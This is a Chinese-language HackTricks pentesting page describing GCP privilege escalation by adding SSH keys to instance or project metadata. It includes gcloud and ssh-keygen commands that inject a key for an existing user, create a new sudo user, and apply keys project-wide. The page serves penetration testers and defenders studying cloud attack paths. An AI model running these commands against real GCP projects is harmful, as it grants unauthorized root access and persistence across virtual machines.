GCP - Add Custom SSH Metadata

GCP - 添加自定义 SSH 元数据

支持 HackTricks

修改元数据

对实例的元数据修改可能导致 如果攻击者获得必要权限,将会带来重大安全风险

将 SSH 密钥纳入自定义元数据

在 GCP 上,Linux 系统 通常会从 Google Compute Engine 的 Python Linux 客户端环境 执行脚本。其关键组件是 accounts daemon,旨在 定期检查 实例元数据端点以 更新授权的 SSH 公钥

因此,如果攻击者能够修改自定义元数据,他可以使守护进程找到一个新的公钥,该公钥将被处理并 集成到本地系统中。该密钥将被添加到 现有用户的 ~/.ssh/authorized_keys 文件中,或者根据密钥的格式可能创建一个具有 sudo 权限的新用户。攻击者将能够攻陷主机。

将 SSH 密钥添加到现有特权用户

  1. 检查实例上的现有 SSH 密钥:

  • 执行命令以描述实例及其元数据,以定位现有的 SSH 密钥。输出中的相关部分将在 metadata 下,具体是 ssh-keys 键。

gcloud compute instances describe [INSTANCE] --zone [ZONE]
  • 注意 SSH 密钥的格式:用户名在密钥之前,用冒号分隔。

  1. 为 SSH 密钥元数据准备文本文件:

  • 将用户名及其对应的 SSH 密钥的详细信息保存到名为 meta.txt 的文本文件中。这对于保留现有密钥并添加新密钥至关重要。

  1. 为目标用户(本例中的 alice)生成新的 SSH 密钥:

  • 使用 ssh-keygen 命令生成新的 SSH 密钥,确保注释字段(-C)与目标用户名匹配。

ssh-keygen -t rsa -C "alice" -f ./key -P "" && cat ./key.pub
  • 将新的公钥添加到 meta.txt 中,模仿实例元数据中的格式。

  1. 更新实例的 SSH 密钥元数据:

  • 使用 gcloud compute instances add-metadata 命令将更新的 SSH 密钥元数据应用于实例。

gcloud compute instances add-metadata [INSTANCE] --metadata-from-file ssh-keys=meta.txt
  1. 使用新的 SSH 密钥访问实例:

  • 使用新的密钥通过 SSH 连接到实例,以目标用户(本例中的 alice)的身份访问 shell。

ssh -i ./key alice@localhost
sudo id

创建新的特权用户并添加 SSH 密钥

如果没有找到有趣的用户,可以创建一个新的用户并赋予其 sudo 权限:

# define the new account username
NEWUSER="definitelynotahacker"

# create a key
ssh-keygen -t rsa -C "$NEWUSER" -f ./key -P ""

# create the input meta file
NEWKEY="$(cat ./key.pub)"
echo "$NEWUSER:$NEWKEY" > ./meta.txt

# update the instance metadata
gcloud compute instances add-metadata [INSTANCE_NAME] --metadata-from-file ssh-keys=meta.txt

# ssh to the new account
ssh -i ./key "$NEWUSER"@localhost

SSH keys at project level

通过在项目级别应用SSH密钥,可以扩大对云环境中多个虚拟机(VM)的SSH访问范围。这种方法允许对项目中未明确阻止项目范围SSH密钥的任何实例进行SSH访问。以下是简要指南:

  1. 在项目级别应用SSH密钥:

  • 使用gcloud compute project-info add-metadata命令将meta.txt中的SSH密钥添加到项目的元数据中。此操作确保SSH密钥在项目中的所有VM中被识别,除非某个VM启用了“阻止项目范围SSH密钥”选项。

gcloud compute project-info add-metadata --metadata-from-file ssh-keys=meta.txt
  1. 使用项目范围密钥SSH进入实例:

  • 在项目范围内有SSH密钥的情况下,您可以SSH进入项目中的任何实例。未阻止项目范围密钥的实例将接受SSH密钥,从而授予访问权限。

  • SSH进入实例的直接方法是使用gcloud compute ssh [INSTANCE]命令。此命令使用您当前的用户名和在项目级别设置的SSH密钥尝试访问。

References

Support HackTricks

Last updated